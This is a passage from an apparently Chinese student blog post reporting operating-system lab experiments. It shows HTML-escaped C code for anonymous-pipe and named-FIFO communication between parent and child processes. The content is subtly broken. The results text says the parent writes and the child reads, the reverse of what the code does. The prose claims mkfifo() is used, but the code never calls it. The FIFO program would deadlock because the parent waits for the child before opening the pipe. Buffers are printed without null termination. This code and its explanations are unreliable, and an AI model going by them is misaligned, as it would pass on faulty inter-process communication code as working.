class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdlib.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;unistd.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;string.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;sys/wait.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e fd[\u003cspan class=\"number\"\u003e2\u003c/span\u003e], pid;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e buffer[\u003cspan class=\"number\"\u003e1024\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(pipe(fd)==\u003cspan class=\"number\"\u003e-1\u003c/span\u003e){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e perror(\u003cspan class=\"string\"\u003e\u0026#34;pipe\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e(\u003cspan class=\"number\"\u003e1\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pid=fork();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(pid\u0026lt;\u003cspan class=\"number\"\u003e0\u003c/span\u003e){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e perror(\u003cspan class=\"string\"\u003e\u0026#34;fork\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e(\u003cspan class=\"number\"\u003e1\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e } \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(pid==\u003cspan class=\"number\"\u003e0\u003c/span\u003e){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Child: Writing to pipe\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e close(fd[\u003cspan class=\"number\"\u003e0\u003c/span\u003e]);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e write(fd[\u003cspan class=\"number\"\u003e1\u003c/span\u003e], \u003cspan class=\"string\"\u003e\u0026#34;Hello, World!\u0026#34;\u003c/span\u003e ,\u003cspan class=\"built_in\"\u003estrlen\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Hello, World!\u0026#34;\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e(\u003cspan class=\"number\"\u003e0\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e close(fd[\u003cspan class=\"number\"\u003e1\u003c/span\u003e]);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e wait(\u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e read(fd[\u003cspan class=\"number\"\u003e0\u003c/span\u003e], buffer, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(buffer));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Parent: %s\\n\u0026#34;\u003c/span\u003e, buffer);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"四、实验结果-3\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E5%9B%9B%E3%80%81%E5%AE%9E%E9%AA%8C%E7%BB%93%E6%9E%9C-3\" class=\"headerlink\" title=\"四、实验结果\"\u003e\u003c/a\u003e四、实验结果\u003c/h3\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/Pasted%20image%2020230523164828.png\"/\u003e\u003c/p\u003e\u003cp\u003e可以看到,父进程成功向匿名管道写入数据,并被子进程读取并打印出来。\u003c/p\u003e\u003ch3 id=\"五、实验心得-3\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%BA%94%E3%80%81%E5%AE%9E%E9%AA%8C%E5%BF%83%E5%BE%97-3\" class=\"headerlink\" title=\"五、实验心得\"\u003e\u003c/a\u003e五、实验心得\u003c/h3\u003e\u003cp\u003e通过这次实验,我懂得了Linux下匿名管道的原理和用法,知道了如何使用系统调用来创建和操作匿名管道,在父子进程之间进行双向通信。同时,我也了解了如何使用重定向技术来改变标准输入输出的来源和目的地。\u003c/p\u003e\u003ch2 id=\"实验5:命名匿名管道通信\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E5%AE%9E%E9%AA%8C5%EF%BC%9A%E5%91%BD%E5%90%8D%E5%8C%BF%E5%90%8D%E7%AE%A1%E9%81%93%E9%80%9A%E4%BF%A1\" class=\"headerlink\" title=\"实验5:命名匿名管道通信\"\u003e\u003c/a\u003e实验5:命名匿名管道通信\u003c/h2\u003e\u003ch3 id=\"一、实验目标-4\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%B8%80%E3%80%81%E5%AE%9E%E9%AA%8C%E7%9B%AE%E6%A0%87-4\" class=\"headerlink\" title=\"一、实验目标\"\u003e\u003c/a\u003e一、实验目标\u003c/h3\u003e\u003col\u003e\u003cli\u003e理解命名匿名管道的原理和用法\u003c/li\u003e\u003cli\u003e使用命名匿名管道实现父子进程之间的单向通信\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"二、实验过程-4\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%BA%8C%E3%80%81%E5%AE%9E%E9%AA%8C%E8%BF%87%E7%A8%8B-4\" class=\"headerlink\" title=\"二、实验过程\"\u003e\u003c/a\u003e二、实验过程\u003c/h3\u003e\u003cp\u003e创建一个main.c,并引入头文件unistd.h和stdio.h。在主程序中使用mkfifo()函数创建一个命名匿名管道,并使用fork()函数创建一个子进程。\u003c/p\u003e\u003cp\u003e如果\u003ccode\u003erc==0\u003c/code\u003e,则当前进程是子进程。子进程使用open()函数打开命名匿名管道,并使用write()函数向管道写入数据。然后使用close()函数关闭管道,并使用exit()函数退出子进程。\u003c/p\u003e\u003cp\u003e如果rc\u0026gt;0,则当前进程是父进程。父进程使用open()函数打开命名匿名管道,并使用read()函数从管道读取数据。然后使用close()函数关闭管道,并使用wait()函数等待子进程结束。\u003c/p\u003e\u003ch3 id=\"三、实验代码-4\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%B8%89%E3%80%81%E5%AE%9E%E9%AA%8C%E4%BB%A3%E7%A0%81-4\" class=\"headerlink\" title=\"三、实验代码\"\u003e\u003c/a\u003e三、实验代码\u003c/h3\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e58\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e59\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e60\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e61\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e62\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e63\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdlib.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;unistd.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;string.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;fcntl.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;sys/wait.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;sys/stat.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;sys/types.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e FIFO_NAME \u003cspan class=\"string\"\u003e\u0026#34;/tmp/my_fifo\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e pid=fork();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(pid\u0026lt;\u003cspan class=\"number\"\u003e0\u003c/span\u003e){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Fork failed\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e(EXIT_FAILURE);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e } \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(pid==\u003cspan class=\"number\"\u003e0\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e res;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e open_mode = O_WRONLY;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e i;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Child process %d opening FIFO O_WRONLY\\n\u0026#34;\u003c/span\u003e, getpid());\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e res = open(FIFO_NAME, open_mode);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Child process %d result %d\\n\u0026#34;\u003c/span\u003e, getpid(), res);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (res != \u003cspan class=\"number\"\u003e-1\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; \u003cspan class=\"number\"\u003e5\u003c/span\u003e; i++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e write(res, \u003cspan class=\"string\"\u003e\u0026#34;Hello\u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e5\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sleep(\u003cspan class=\"number\"\u003e1\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e close(res);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e(EXIT_FAILURE);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Process %d finished\\n\u0026#34;\u003c/span\u003e, getpid());\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e(EXIT_SUCCESS);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e } \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e res;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e open_mode = O_RDONLY;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e i;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e buffer[\u003cspan class=\"number\"\u003e20\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// wait for child to finish\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e waitpid(pid, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Parent process started.\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Process %d opening FIFO O_RDONLY\\n\u0026#34;\u003c/span\u003e, getpid());\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e res = open(FIFO_NAME, open_mode);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Process %d result %d\\n\u0026#34;\u003c/span\u003e, getpid(), res);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (res != \u003cspan class=\"number\"\u003e-1\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; \u003cspan class=\"number\"\u003e5\u003c/span\u003e; i++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e read(res, buffer, \u003cspan class=\"number\"\u003e20\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Process %d read %s\\n\u0026#34;\u003c/span\u003e, getpid(), buffer);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sleep(\u003cspan class=\"number\"\u003e1\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e close(res);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e(EXIT_FAILURE);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Process %d 